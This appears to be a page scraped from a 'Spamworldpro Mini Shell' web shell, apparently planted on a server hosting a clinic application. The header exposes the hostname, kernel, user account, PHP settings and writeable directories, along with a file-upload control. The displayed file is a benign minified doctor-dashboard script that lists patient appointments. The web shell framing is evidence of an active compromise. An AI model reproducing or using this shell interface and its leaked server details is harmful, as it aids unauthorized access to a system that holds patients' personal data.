Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/clinic.corals.io/public/assets/js/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/clinic.corals.io/public/assets/js/dashboard/doctor-dashboard.js
(()=>{"use strict";$(document).on("click","#monthData",(function(e){e.preventDefault(),$.ajax({url:route("doctors.appointment.dashboard"),type:"GET",data:{month:"month"},success:function(e){e.success&&($("#monthlyReport").empty(),$(document).find("#week").removeClass("show active"),$(document).find("#day").removeClass("show active"),$(document).find("#month").addClass("show active"),""!=e.data.patients.data?$.each(e.data.patients.data,(function(e,t){var a=[{image:t.patient.profile,name:t.patient.user.full_name,email:t.patient.user.email,patientId:t.patient.patient_unique_id,date:moment(t.date).format("Do MMM, Y"),from_time:t.from_time,from_time_type:t.from_time_type,to_time:t.to_time,to_time_type:t.to_time_type,route:route("doctors.patient.detail",t.patient_id)}];$(document).find("#monthlyReport").append(prepareTemplateRender("#doctorDashboardTemplate",a))})):$(document).find("#monthlyReport").append('\n                                                <tr>\n                                                    <td colspan="4" class="text-center fw-bold text-muted">No Data Available</td>\n                                                </tr>'))},error:function(e){displayErrorMessage(e.responseJSON.message)}})})),$(document).on("click","#weekData",(function(e){e.preventDefault(),$.ajax({url:route("doctors.appointment.dashboard"),type:"GET",data:{week:"week"},success:function(e){e.success&&($("#weeklyReport").empty(),$(document).find("#month").removeClass("show active"),$(document).find("#day").removeClass("show active"),$(document).find("#week").addClass("show active"),""!=e.data.patients.data?$.each(e.data.patients.data,(function(e,t){var a=[{image:t.patient.profile,name:t.patient.user.full_name,email:t.patient.user.email,patientId:t.patient.patient_unique_id,date:moment(t.date).format("Do MMM, Y"),from_time:t.from_time,from_time_type:t.from_time_type,to_time:t.to_time,to_time_type:t.to_time_type,route:route("doctors.patient.detail",t.patient_id)}];$(document).find("#weeklyReport").append(prepareTemplateRender("#doctorDashboardTemplate",a))})):$(document).find("#weeklyReport").append('\n                                                <tr>\n                                                    <td colspan="4" class="text-center fw-bold text-muted">No Data Available</td>\n                                                </tr>'))},error:function(e){displayErrorMessage(e.responseJSON.message)}})})),$(document).on("click","#dayData",(function(e){e.preventDefault(),$.ajax({url:route("doctors.appointment.dashboard"),type:"GET",data:{day:"day"},success:function(e){e.success&&($("#dailyReport").empty(),$(document).find("#month").removeClass("show active"),$(document).find("#week").removeClass("show active"),$(document).find("#day").addClass("show active"),""!=e.data.patients.data?$.each(e.data.patients.data,(function(e,t){var a=[{image:t.patient.profile,name:t.patient.user.full_name,email:t.patient.user.email,patientId:t.patient.patient_unique_id,date:moment(t.date).format("Do MMM, Y"),from_time:t.from_time,from_time_type:t.from_time_type,to_time:t.to_time,to_time_type:t.to_time_type,route:route("doctors.patient.detail",t.patient_id)}];$(document).find("#dailyReport").append(prepareTemplateRender("#doctorDashboardTemplate",a))})):$(document).find("#dailyReport").append('\n                                                <tr>\n                                                    <td colspan="4" class="text-center fw-bold text-muted">No Data Available</td>\n                                                </tr>'))},error:function(e){displayErrorMessage(e.responseJSON.message)}})}))})();

Spamworldpro Mini